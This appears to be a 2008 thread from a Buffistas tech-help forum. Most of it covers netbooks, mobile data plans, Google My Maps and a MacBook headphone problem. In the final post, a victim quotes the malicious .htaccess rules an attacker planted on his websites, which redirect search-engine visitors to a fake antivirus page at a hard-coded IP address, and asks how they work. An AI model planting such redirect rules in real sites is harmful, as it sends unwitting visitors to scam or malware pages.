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Buffistechnology 3: "Press Some Buttons, See What Happens."

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Sophia Brooks - Nov 13, 2008 9:32:07 am PST #8071 of 25501
Cats to become a rabbit should gather immediately now here

Thank you Gud!

Good thought Tom-- although as I am currently using my cell phone-- it is sure to be bigger than that!


NoiseDesign - Nov 13, 2008 9:40:22 am PST #8072 of 25501
Our wings are not tired

You can see the EEE PC at Best Buy if you want to get an idea of the size of the machine. I have one that's great for when I don't want to carry a full PC into a meeting and also for some of the diagnostic work I do on job sites, but I don't rely on it to be my primary PC.


tommyrot - Nov 13, 2008 9:43:39 am PST #8073 of 25501
Sir, it's not an offence to let your cat eat your bacon. Okay? And we don't arrest cats, I'm very sorry.

The Acer Aspire One comes with either XP or Linux (with a simplified GUI). I like mine a lot, especially given the price.

The Linux one comes with Open Office, which can save stuff in Word and Excel format.


Liese S. - Nov 13, 2008 5:33:02 pm PST #8074 of 25501
"Faded like the lilac, he thought."

Thanks, meara. Do you have a 5GB data cap on your corporate account? What kind of speeds do you actually see? Are there roaming charges?


meara - Nov 14, 2008 9:04:48 am PST #8075 of 25501

....I have no idea if there is a data cap. I am usually just on the internet, not downloading things, so I don't know what sort of speeds I see, but it's definitely slower than regular wifi at home on my cable modem, but not by a ton. Mostly that's noticeable the few times I am downloading something from email like a PDF or something--it takes a few extra seconds. With a powerpoint presentation I had to download the other day, it definitely took a bit longer. On a site like buffistas, I don't generally notice at all.

When I'm using it, I do use it all day long, but only, again, for Outlook and the internet, and that's usually maybe 8-10 days a month.

I haven't hit any roaming charges, but like I said, I've only been in big cities (LA, Portland, Vegas), so only places where they have service. I was under the impression it just didn't work in some places, I didn't know if it roamed.


§ ita § - Nov 14, 2008 9:50:52 am PST #8076 of 25501
Well not canonically, no, but this is transformative fiction.

Is there a way at maps.google.com to add more than one marker to a map without going so far as directions?


dcp - Nov 14, 2008 12:28:34 pm PST #8077 of 25501
The more I learn, the more I realize how little I know.

Click on "My Maps" instead of "Get Directions," then create and save a map, then save locations to it.


§ ita § - Nov 14, 2008 12:45:10 pm PST #8078 of 25501
Well not canonically, no, but this is transformative fiction.

Thanks!


Tom Scola - Nov 14, 2008 1:23:38 pm PST #8079 of 25501
Remember that the frontier of the Rebellion is everywhere. And even the smallest act of insurrection pushes our lines forward.

On my new MacBook Pro, I can't get audio on the headphone jack. I go to System Preferences -> Sound -> Output, and it only lists the internal speakers, and not the headphones.

I feel stupid. What obvious thing am I missing?

[EDIT: I just wasn't pushing the headphone jack in far enough. I feel even more stupid now]


Jon B. - Nov 15, 2008 4:53:08 pm PST #8080 of 25501
A turkey in every toilet -- only in America!

My websites were hacked. .htaccess files were added that read:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* ht tp://89.28.13.202/in.html?s=ix [R,L]

The way I discovered this is that certain form POST operations would be redirected to a fake antivirus website. I've removed the .htaccess files and changed my passwords, but I've got a couple questions:

1) Could someone have hacked in without the password? I'm pretty sure the permissions were set to 644. Seems like if they had the password, way more damage would have been done.

2) What are the redirects doing? The last one is the IP address of the fake antivirus site, but what's with all the lines before that? And what do the letters in square brackets mean?

t edit I put a space in the http of the last line to prevent the buffista autolinkafication